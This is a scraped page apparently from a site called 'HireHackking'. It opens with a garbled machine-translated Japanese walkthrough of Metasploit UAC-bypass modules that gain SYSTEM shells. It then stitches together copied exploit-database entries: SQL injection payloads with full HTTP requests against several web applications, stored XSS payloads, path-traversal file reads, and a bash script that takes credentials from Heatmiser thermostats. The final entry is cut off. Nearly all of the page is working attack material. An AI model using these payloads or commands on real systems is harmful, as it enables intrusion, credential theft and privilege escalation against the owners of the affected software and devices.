このモジュールは、現在のユーザーハイブの下でレジストリの特別なキーをハイジャックすることにより、Windows 10 UACをバイパスし、Windows fodhelper.exeアプリケーションを開始するときに呼び出されるカスタムコマンドを挿入します。 UACフラグを閉じる2番目のシェルが生成されます。このモジュールはレジストリキーを変更しますが、ペイロードを呼び出すとキーをクリアします。このモジュールでは、ペイロードアーキテクチャとオペレーティングシステムのマッチングは必要ありません。 exe:customが指定されている場合、別のプロセスでペイロードを開始した後、exitprocess（）を呼び出す必要があります。

msfuseexploit/windows/local/bypassuac_fodhelper

msfexploit（Windows/local/bypassuac_fodhelper）setSession1

msfexploit（Windows/local/bypassuac_fodhelper）エクスプロイト

指定されたMeterPreterから、MeterPreterセッション2が開いていることがわかります。次のコマンドを入力して、システム許可権を決定します。

GetSystem

getuid

非常に良い、ここではNT Authority \ Systemの許可を取得します。「Shell」コマンドを入力すると、管理者の許可を使用してコマンドプロンプトが表示されます。

qfnrcwd5qhd8169.png

4。方法4：Windowsの許可アップグレードバイパスUAC保護（EventVWRレジストリキーを介して）

このモジュールは、現在のユーザーハイブの下でレジストリの特別なキーをハイジャックし、Windowsイベントビューアーを起動するときに呼び出されるカスタムコマンドを挿入することにより、Windows UACをバイパスします。 UACフラグを閉じる2番目のシェルが生成されます。このモジュールはレジストリキーを変更しますが、ペイロードを呼び出すとキーをクリアします。このモジュールでは、ペイロードアーキテクチャとオペレーティングシステムのマッチングは必要ありません。 exe :Customが指定されている場合、別のプロセスでペイロードを開始した後、ExitProcess（）を呼び出す必要があります。

msfuseexploit/windows/local/bypassuac_eventvwr

msfexploit（Windows/local/bypassuac_eventvwr）setSession1

msfexploit（Windows/local/bypassuac_eventvwr）エクスプロイト

指定されたMeterPreterから、MeterPreterセッション2が開いていることがわかります。次のコマンドを入力して、システム許可権を決定します。

GetSystem

getuid

再びNT Authority \ Systemの許可を取得します。

byqnd5oqyk08170.png

5。方法5：Windowsの許可アップグレードバイパスUAC保護（comハンドラーを介してハイジャック）

このモジュールは、HKCUハイブにCOMハンドラーレジストリキーを作成することにより、Windows UACをバイパスします。いくつかのより高い整合性レベルプロセスがロードされると、これらのレジストリエントリが参照され、プロセスがユーザー制御DLLをロードします。これらのDLLには、セッション権限の上昇をもたらすペイロードが含まれています。このモジュールはレジストリキーを変更しますが、ペイロードを呼び出すとキーをクリアします。このモジュールでは、オペレーティングシステムに合わせてペイロードアーキテクチャを必要としますが、現在の低主種のメータープレーターセッションアーキテクチャでは異なる場合があります。 exe:カスタムが指定されている場合、別のプロセスでPayloaを開始した後、exitprocess（）を呼び出す必要があります。このモジュールは、ターゲット上のCMD.exeを介してターゲットバイナリを呼び出します。したがって、CMD.exeアクセスが制限されている場合、このモジュールは適切に機能しません。

msfuseexploit/windows/local/bypassuac_comhijack

msfexploit（Windows/local/bypassuac_comhijack）setSession1

msfexploit（Windows/local/bypassuac_comhijack）エクスプロイト

指定されたMeterPreterから、MeterPreterセッション2が開いていることがわかります。次のコマンドを入力して、システム許可権を決定します。

GetSystem

getuid

最後に、NT Authority \ System Permissionsを取得し、「シェル」コマンドを再度実行すると、管理者の特権を使用してコマンドプロンプトアクセスを取得するため、MetaSploitを介してExploit Exploitsを活用してUAC保護をバイパスできます。

mkmuoy24mxi8171.png

HireHackking 
# Exploit Title: Vishesh Auto Index 3.1 - 'fid' SQL Injection
# Dork: N/A
# Date: 2018-10-15
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.vishesh.cf/
# Software Link: https://sourceforge.net/projects/vishesh-wap-auto-index/files/latest/download
# Version: 3.1
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://192.168.1.27/[PATH]/file.php?fid=[SQL]

-1%20UnioN%20seLECt%20112115%2c112115%2c112115%2c112115%2c112115%2c112115%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c112115%2c112115%2c112115%2c112115%2c112115%2c112115%2d%2d%20Efe
 
GET /[PATH]/file.php?fid=-1%20UnioN%20seLECt%20112115%2c112115%2c112115%2c112115%2c112115%2c112115%2c(selECt(@x)fROm(selECt(@x:=0x00)%2c(@rUNNing_nuMBer:=0)%2c(@tbl:=0x00)%2c(selECt(0)fROm(infoRMATion_schEMa.coLUMns)wHEre(tABLe_schEMa=daTABase())aNd(0x00)in(@x:=Concat(@x%2cif((@tbl!=tABLe_name)%2cConcat(LPAD(@rUNNing_nuMBer:=@rUNNing_nuMBer%2b1%2c2%2c0x30)%2c0x303d3e%2c@tBl:=tABLe_naMe%2c(@z:=0x00))%2c%200x00)%2clpad(@z:=@z%2b1%2c2%2c0x30)%2c0x3d3e%2c0x4b6f6c6f6e3a20%2ccolumn_name%2c0x3c62723e))))x)%2c112115%2c112115%2c112115%2c112115%2c112115%2c112115%2d%2d%20Efe HTTP/1.1
Host: 192.168.1.27
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=nk7b5obkruk2rtd2kbm3gamg42
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 15 Oct 2018 01:12:23 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 7799
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# http://192.168.1.27/[PATH]/download.php?fid[SQL]

-1%20UnioN%20select%20ConcAT((SElecT%20GrouP_ConcAT(schema_nAME%20SEPAratoR%200x3c62723e)%20FRom%20INFORmatION_ScheMA.SchematA))%2c999555444%2c999555444%2c999555444%2c999555444%2c999555444%2c999555444%2c999555444%2c999555444%2c999555444%2c999555444%2c999555444%2c999555444%2d%2d%20Efe
 
GET /[PATH]/download.php?fid=-1%20UnioN%20select%20ConcAT((SElecT%20GrouP_ConcAT(schema_nAME%20SEPAratoR%200x3c62723e)%20FRom%20INFORmatION_ScheMA.SchematA))%2c999555444%2c999555444%2c999555444%2c999555444%2c999555444%2c999555444%2c999555444%2c999555444%2c999555444%2c999555444%2c999555444%2c999555444%2d%2d%20Efe HTTP/1.1
Host: 192.168.1.27
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=nk7b5obkruk2rtd2kbm3gamg42
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 15 Oct 2018 01:18:41 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 835
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
HireHackking 
# Exploit Title: Library CMS 2.1.1 - Cross-Site Scripting
# Date: 2018-10-15
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://kaasoft.pro/
# Software Link : https://library.kaasoft.pro/
# Software : Library CMS - Powerful Book Management System
# Version : v 2.1.1
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# CVE : N/A

# A Stored XSS vulnerability has been discovered in KAASoft 
# Library CMS - Powerful Book Management System 2.1.1 via the /admin/book/create/ title parameter.
 
# HTTP POST Request :
 
POST /admin/book/create/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://TARGET/admin/book/create/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 332
Cookie: activeLanguage=en_US; activeLanguage=en_US; _ym_uid=1539576611293792951; _ym_d=1539576611; _ym_visorc_46947615=w; _ym_isad=2; PHPSESSID=3d6jd6k6snvc2vckn15sed2k15; activeLanguage=en_US
Connection: close

%D0%9A%D1%83%D0%BF%D0%B8%D1%82%D1%8C=&title=%22%3E%3Cscript%3Ealert(%22Ismail+Tasdelen%22)%3C%2Fscript%3E&rating=&subtitle=&url=&ISBN10=&ISBN13=&edition=&publishingYear=&pages=&type=Digital&physicalForm=Book&size=Huge&binding=Hardcover&price=&language=&description=&notes=&coverId=&eBookId=&metaTitle=&metaKeywords=&metaDescription=
HireHackking 
# Exploit Title: Kados R10 GreenBee - 'release_id' SQL Injection
# Dork: N/A
# Date: 2018-10-15
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.kados.info/
# Software Link: https://sourceforge.net/projects/kados/
# Version: R10 GreenBee
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# Description
# All users can run sql injection codes.

# POC: 
# 1)
# /[PATH]/boards_buttons/update_release.php
# $request=new sqlRequest("SELECT * FROM kados_releases WHERE release_id=".$_REQUEST['release_id'],$cnx->num);
# $releaseData=$request->getObject();
# $request->sqlGet('SELECT * FROM kados_activities WHERE activity_release_id_fk='.$_REQUEST['release_id']);
# $request->countRows();
# $useChecklist=$request->rowCount;
# http://localhost/[PATH]/boards_buttons/update_release.php?release_id=[SQL]

%2d%31%20%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2d%2d%20%2d

GET /[PATH]/boards_buttons/update_release.php?release_id=%2d%31%20%20%55%4e%49%4f%4e%20%53%45%4c%45%43%54%20%31%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%33%2c%34%2c%35%2c%36%2c%37%2c%38%2c%39%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=qkb8rjor2kudi2vp2tuf9q3ot7
Connection: keep-alive
HTTP/1.1 200 OK
Date: Mon, 15 Oct 2018 12:44:09 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1888
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
# /[PATH]/boards_buttons/update_feature.php
# $request=new sqlRequest("SELECT * FROM kados_features WHERE feature_id=".$_REQUEST['feature_id'],$cnx->num);
# $featureData=$request->getObject();
# http://localhost/[PATH]/boards_buttons/update_feature.php?feature_id=[SQL]

%2d%31%20%20%55%4e%49%4f%4e%28%53%45%4c%45%43%54%28%31%29%2c%28%32%29%2c%28%33%29%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%35%29%29%2d%2d%20%2d
 
GET /[PATH]/boards_buttons/update_feature.php?feature_id=%2d%31%20%20%55%4e%49%4f%4e%28%53%45%4c%45%43%54%28%31%29%2c%28%32%29%2c%28%33%29%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%35%29%29%2d%2d%20%2d HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=qkb8rjor2kudi2vp2tuf9q3ot7
Connection: keep-alive
HTTP/1.1 200 OK
Date: Mon, 15 Oct 2018 12:50:19 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1436
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
#More than 40 files are vulnerable. Etc....
HireHackking 
# Exploit Title: HotelDruid 2.2.4 - 'anno' SQL Injection
# Dork: N/A
# Date: 2018-10-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://www.hoteldruid.com/
# Software Link: http://www.hoteldruid.com/en/download.html
# Version: 2.2.4
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# http://192.168.1.27/[PATH]/privilegi_utenti.php?anno=2018&id_sessione=&id_utente_privilegi=[SQL]
 
-77'+uNIon+selECt+77,(/*!100010sELect*/+/*!10001concat*/+(@:=0,(/*!100010seLEct*/+cOUnt(*) /*!10001fROm*/+/*!100010inforMAtion_schema.tables*/+/*!10001WheRE*/(TABLE_SCheMA!=0x696e666f726d6174696f6e5f736368656d61)AND@:=/*!10001conCAt*/+(@,0x3c62723e,/*!100010taBLe_naMe*/)),@)),77,77,77,77,77--+-
 
GET /[PATH]/privilegi_utenti.php?anno=2018&id_sessione=&id_utente_privilegi=-77%27+uNIon+selECt+77,(/*!100010sELect*/+/*!10001concat*/+(@:=0,(/*!100010seLEct*/+cOUnt(*)%20/*!10001fROm*/+/*!100010inforMAtion_schema.tables*/+/*!10001WheRE*/(TABLE_SCheMA!=0x696e666f726d6174696f6e5f736368656d61)AND@:=/*!10001conCAt*/+(@,0x3c62723e,/*!100010taBLe_naMe*/)),@)),77,77,77,77,77--+- HTTP/1.1
Host: 192.168.1.27
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 13 Oct 2018 08:21:14 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8 

# POC: 
# 2)
# http://192.168.1.27/[PATH]/gestione_utenti.php?modifica_gruppi=SI&id_utente_mod=[SQL]

%31%27%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%35%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%35%3d%35%2c%31%29%29%29%29%29%2d%2d%20%20%2d
 
GET /[PATH]/gestione_utenti.php?modifica_gruppi=SI&id_utente_mod=%31%27%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%35%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29%2c%56%45%52%53%49%4f%4e%28%29%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%35%3d%35%2c%31%29%29%29%29%29%2d%2d%20%20%2d HTTP/1.1
Host: 192.168.1.27
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 13 Oct 2018 08:24:07 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
HireHackking 
# Exploit Title: Navigate CMS 2.8.5 - Arbitrary File Download
# Dork: N/A
# Date: 2018-10-13
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.navigatecms.com/
# Software Link: http://master.dl.sourceforge.net/project/navigatecms/releases/navigate-2.8.5r1355.zip
# Version: 2.8.5
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
 
# POC: 
# 1)
# Description
# Profile type users+ can download arbitrary files.
# http://TARGET/[PATH]/navigate_download.php?wid=1&id=[FILE]
# 
# /* `exploitdb`.`nv_profiles` */
# $nv_profiles = array(
#   array('id' => '1','name' => 'Administrator','description' => '','menus' => '["2","3","4","6","1"]'),
#   array('id' => '2','name' => 'User','description' => 'Default Navigate CMS user profile','menus' => '["2","3","7"]')
# );
# 
# navigate_download.php
# ........
# $id = $_REQUEST['id'];
# if(!empty($_REQUEST['id']))
# {
# 	if(is_int($id))
# 		$item->load($id);
# 	else
# 		$item->load($_REQUEST['id']);
# }
# 
# if(!$item->id)
# {
# 	echo 'Error: no item found with id '.$_REQUEST['id'].'.';	
# 	session_write_close();
# 	$DB->disconnect(); 	// we don't need the database anymore (we'll see)
# 	exit;
# }
# 
# $website = new Website();
# if(!empty($_GET['wid']))
# ........

# http://TARGET/[PATH]/navigate_download.php?wid=1&id=../../../cfg/globals.php
 
GET /[PATH]/navigate_download.php?wid=1&id=../../../cfg/globals.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: navigate-language=en; PHPSESSID=43c3fe79r969u85bk1qlak7o03; NVSID_ec36e8b8=43c3fe79r969u85bk1qlak7o03; navigate-tinymce-scroll=%7B%7D
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 13 Oct 2018 12:36:12 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: NVSID_ec36e8b8=43c3fe79r969u85bk1qlak7o03; path=/
Set-Cookie: NVSID_ec36e8b8=43c3fe79r969u85bk1qlak7o03; expires=Sat, 13-Oct-2018 13:36:12 GMT; Max-Age=3600; path=/; domain=TARGET
Set-Cookie: PHPSESSID=43c3fe79r969u85bk1qlak7o03; expires=Sat, 13-Oct-2018 13:36:12 GMT; Max-Age=3600; path=/; domain=TARGET
Expires: Sat, 20 Oct 2018 12:36:12 GMT
Cache-Control: private
Pragma: cache
Etag: "Li4vLi4vLi4vY2ZnL2dsb2JhbHMucGhwLWdsb2JhbHMucGhwLTE1Mzk0MzQxNzItMTUzOTQzMjA3MC0w"
Accept-Ranges: bytes
Content-Disposition: inline; filename="globals.php"
Last-Modified: Sat, 13 Oct 2018 12:01:10 GMT
Content-Range: bytes 0-1847/1848
Content-Length: 1848
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/octet-stream

# http://localhost/[PATH]/navigate_download.php?wid=1&id=../../../../../../../../Windows/win.ini

GET /[PATH]/navigate_download.php?wid=1&id=../../../../../../../../Windows/win.ini HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: navigate-language=en; PHPSESSID=43c3fe79r969u85bk1qlak7o03; NVSID_ec36e8b8=43c3fe79r969u85bk1qlak7o03; navigate-tinymce-scroll=%7B%7D
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 13 Oct 2018 12:55:57 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: NVSID_ec36e8b8=43c3fe79r969u85bk1qlak7o03; path=/
Set-Cookie: NVSID_ec36e8b8=43c3fe79r969u85bk1qlak7o03; expires=Sat, 13-Oct-2018 13:55:57 GMT; Max-Age=3600; path=/; domain=TARGET
Set-Cookie: PHPSESSID=43c3fe79r969u85bk1qlak7o03; expires=Sat, 13-Oct-2018 13:55:57 GMT; Max-Age=3600; path=/; domain=TARGET
Expires: Sat, 20 Oct 2018 12:55:57 GMT
Cache-Control: private
Pragma: cache
Etag: "Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vV2luZG93cy93aW4uaW5pLXdpbi5pbmktMTUzOTQzNTM1Ny0xNTAxMTQ5NjkxLTA="
Accept-Ranges: bytes
Content-Disposition: attachment; filename="win.ini"
Last-Modified: Thu, 27 Jul 2017 10:01:31 GMT
Content-Range: bytes 0-563/564
Content-Length: 564
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/octet-stream
HireHackking 
# Exploit Title: Wordpress Plugin Support Board 1.2.3 - Cross-Site Scripting
# Date: 2018-10-16
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://schiocco.com/
# Software Link : https://board.support/
# Software : Support Board - Chat And Help Desk
# Version : v1.2.3
# Vulernability Type : Code Injection
# Vulenrability : HTML Injection and Stored XSS
# CVE : N/A

# In the Schiocco "Support Board - Chat And Help Desk" plugin 1.2.3 for WordPress, 
# a Stored XSS vulnerability has been discovered in file upload areas in the 
# Chat and Help Desk sections via the msg parameter 
# in a /wp-admin/admin-ajax.php sb_ajax_add_message action.

# HTTP POST Request : [Stored XSS]
 
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://TARGET/chat/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 450
Cookie: _ga=GA1.2.1452102121.1539634100; _gid=GA1.2.1034601494.1539634100; PHPSESSID=pljbkl7n96fpl5uicnbec21f77
Connection: close

action=sb_ajax_add_message&msg=&files=https%3A%2F%2FTARGET%2Fwp-content%2Fuploads%2Fsupportboard%2F70765091%2F%22%3E%3Cimg+src%3Dx+onerror%3Dalert(%22ismailtasdelen%22)%3E.jpg%7C%22%3E%3Cimg+src%3Dx+onerror%3Dalert(%22ismailtasdelen%22)%3E.jpg&time=10%2F15%2F2018%2C+4%3A23%3A42+PM&user_id=70765091&user_img=https%3A%2F%2Fboard.support%2Fwp-content%2Fuploads%2F2017%2F07%2Fuser.jpg&user_name=James+Wilson&user_type=user&environment=wp&sb_lang=

# In the v1.2.3 version of the Support Board - Chat And Help Desk PHP & Wordpress Plugin, 
# the Stored XSS vulnerability has been discovered in the HTML Injection vulnerability and 
# file upload areas in the Chat and Help Desk sections of Schiocco.
# HTTP POST Request : [HTML Injection]
 
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://TARGET/desk-demo/
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 288
Cookie: _ga=GA1.2.1452102121.1539634100; _gid=GA1.2.1034601494.1539634100; PHPSESSID=pljbkl7n96fpl5uicnbec21f77
Connection: close

action=sb_ajax_add_message&msg=%26%238220%3B%3E%3Ch1%3EIsmail+Tasdelen%3C%2Fh1%3E&files=&time=10%2F15%2F2018%2C+4%3A19%3A45+PM&user_id=70765091&user_img=https%3A%2F%2Fboard.support%2Fwp-content%2Fuploads%2F2017%2F07%2Fuser.jpg&user_name=James+Wilson&user_type=user&environment=wp&sb_lang=
HireHackking 
# Exploit Title: Heatmiser Wifi Thermostat 1.7 - Credential Disclosure 
# Dork: intitle:"Heatmiser Wifi Thermostat"
# Date: 2018-08-17
# Exploit Author: d0wnp0ur
# Original Discoverer: Andrew Tierney
# Vendor Lnk: https://www.heatmiser.com/en/ 
# Product Link: https://www.heatmiser.com/en/wireless-thermostats/
# Tested on: Heatmiser Version 1.7
# CVE: N/A

#!/bin/bash

echo Heatmiser Smart Thermometer Hack
echo By d0wnp0ur
echo Usage: $0 \<ip\[:port\]\> \(Default is 80. If it doesn\'t work, try port 8081\)
echo This tool gets the username and password of a vulnerable Heatmiser thermostat
echo Deleting old files
rm networkSetup.htm*
echo Copying disclosing page
wget http://$1/networkSetup.htm
echo Getting Username and Password
echo Username:
cat networkSetup.htm | grep "User" | grep "Name:" | awk -F 'value=' '{print $2}' | cut -d '"' -f 2
echo Password:
cat networkSetup.htm | grep "User" | grep "Password:" |grep -v -i "confirm" |  awk -F 'value=' '{print $2}' | cut -d '"' -f 2
echo Success! Log in to the web interface with the above credentials.
echo http://$1
HireHackking 
# Exploit Title: Rukovoditel Project Management CRM 2.3 - 'path' SQL Injection
# Dork: N/A
# Date: 2018-10-15
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.rukovoditel.net/
# Software Link: https://www.rukovoditel.net/download.php
# Version: 2.3
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# Description
# The client+ user group can run sql injection codes.
# 
# /* `exploitdb`.`app_access_groups` */
# $app_access_groups = array(
#   array('id' => '4','name' => 'Manager','is_default' => '1','is_ldap_default' => '0','ldap_filter' => '','sort_order' => '2'),
#   array('id' => '5','name' => 'Developer','is_default' => '0','is_ldap_default' => '0','ldap_filter' => '','sort_order' => '1'),
#   array('id' => '6','name' => 'Client','is_default' => '0','is_ldap_default' => '0','ldap_filter' => '','sort_order' => '0')
# );
# 
# http://192.168.1.27/[PATH]/index.php?module=items/info&path=1-1[SQL]

%27+%20and%20(sELect%201%20fROm%20(sELect%20cOUNt(*),conCAT((sELect(sELect%20conCAT(cast(daTABase()%20as%20char),0x7e))%20fROm%20inforMATion_SCHema.TABles%20where%20TABle_SCHema=daTABase()%20limit%200,1),floor(rand(0)*2))x%20fROm%20inforMATion_SCHema.TABles%20gROup%20by%20x)a)%20AND%20%27Efe%27=%27Efe
 
GET /[PATH]/index.php?module=items/info&path=1-1%27+%20and%20(sELect%201%20fROm%20(sELect%20cOUNt(*),conCAT((sELect(sELect%20conCAT(cast(daTABase()%20as%20char),0x7e))%20fROm%20inforMATion_SCHema.TABles%20where%20TABle_SCHema=daTABase()%20limit%200,1),floor(rand(0)*2))x%20fROm%20inforMATion_SCHema.TABles%20gROup%20by%20x)a)%20AND%20%27Efe%27=%27Efe HTTP/1.1
Host: 192.168.1.27
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: cookie_test=please_accept_for_session; sid=0i0o9mn52bt17fpchg7rinmsd7
Connection: keep-alive
HTTP/1.1 200 OK
Date: Sat, 15 Oct 2018 00:12:43 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: cookie_test=please_accept_for_session; expires=Mon, 15 Oct 2018 00:12:43 GMT; Max-Age=2592000
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1058
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
HireHackking 
# Exploit Title: GIU Gallery Image Upload 0.3.1 - 'category' SQL Injection
# Dork: N/A
# Date: 2018-10-16
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://tradesouthwest.com
